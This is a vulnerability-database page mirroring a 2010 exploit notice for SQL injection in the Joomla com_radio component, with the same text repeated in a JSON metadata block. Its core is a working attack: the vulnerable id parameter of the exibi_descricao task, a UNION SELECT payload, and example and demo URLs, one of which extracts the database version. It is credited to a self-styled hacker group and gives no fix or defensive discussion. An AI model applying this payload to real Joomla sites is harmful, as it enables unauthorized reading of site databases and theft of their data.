Search...

Joomla Component com_radio SQL Injection Vulnerability

2014-07-01T00:00:00

ID SSV:68065
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                # Title : Joomla Component com_radio SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-03-29

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_radio SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_radio&task=exibi_descricao&id=[SQL]
 
[~] ExploiT         :
 
-1 UNION SELECT 1,2,3,4,5,6,7,8--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_radio&task=exibi_descricao&id=-1 UNION SELECT 1,2,3,4,5,6,7,8--

[~] Demo            :

http://server/index.php?option=com_radio&task=exibi_descricao&id=-1 UNION SELECT 1,2,3,version(),5,6,7,8--

  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]

JSON Vulners Source

Initial Source

{"href": "https://www.seebug.org/vuldb/ssvid-68065", "status": "poc", "history": [], "bulletinFamily": "exploit", "modified": "2014-07-01T00:00:00", "title": "Joomla Component com_radio SQL Injection Vulnerability", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-68065", "cvelist": [], "description": "No description provided by source.", "viewCount": 3, "published": "2014-07-01T00:00:00", "sourceData": "\n # Title : Joomla Component com_radio SQL Injection Vulnerability\r\n# Author: DevilZ TM\r\n# Data : 2010-03-29\r\n\r\n[~]######################################### InformatioN #############################################[~]\r\n \r\n[~] Title : Joomla Component com_radio SQL Injection Vulnerability\r\n[~] Author : DevilZ TM By D3v1l\r\n[~] Homepage : http://www.DEVILZTM.com\r\n[~] Email : Expl0it@DevilZTM.Com\r\n[~] Contact : D3v1l.blackhat@yahoo.com\r\n \r\n[~]######################################### ExploiT #############################################[~]\r\n \r\n[~] Vulnerable File :\r\n \r\nhttp://127.0.0.1/index.php?option=com_radio&task=exibi_descricao&id=[SQL]\r\n \r\n[~] ExploiT :\r\n \r\n-1 UNION SELECT 1,2,3,4,5,6,7,8--\r\n \r\n[~] Example :\r\n \r\nhttp://127.0.0.1/index.php?option=com_radio&task=exibi_descricao&id=-1 UNION SELECT 1,2,3,4,5,6,7,8--\r\n\r\n[~] Demo :\r\n\r\nhttp://server/index.php?option=com_radio&task=exibi_descricao&id=-1 UNION SELECT 1,2,3,version(),5,6,7,8--\r\n\r\n \r\n[~]######################################### ThankS To ... ############################################[~]\r\n \r\n[~] Special Thanks To My Best FriendS :\r\n \r\nExim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS\r\n \r\n[~] IRANIAN Young HackerZ\r\n \r\n[~]######################################### FinisH :D #############################################[~]\n ", "id": "SSV:68065", "enchantments_done": [], "_object_type": "robots.models.seebug.SeebugBulletin", "type": "seebug", "lastseen": "2017-11-19T16:57:17", "reporter": "Root", "_object_types": ["robots.models.base.Bulletin", "robots.models.seebug.SeebugBulletin"], "enchantments": {"score": {"value": 6.8, "vector": "NONE"}, "dependencies": {"references": [], "modified": "2017-11-19T16:57:17"}, "vulnersScore": 6.8}, "objectVersion": "1.4", "references": []}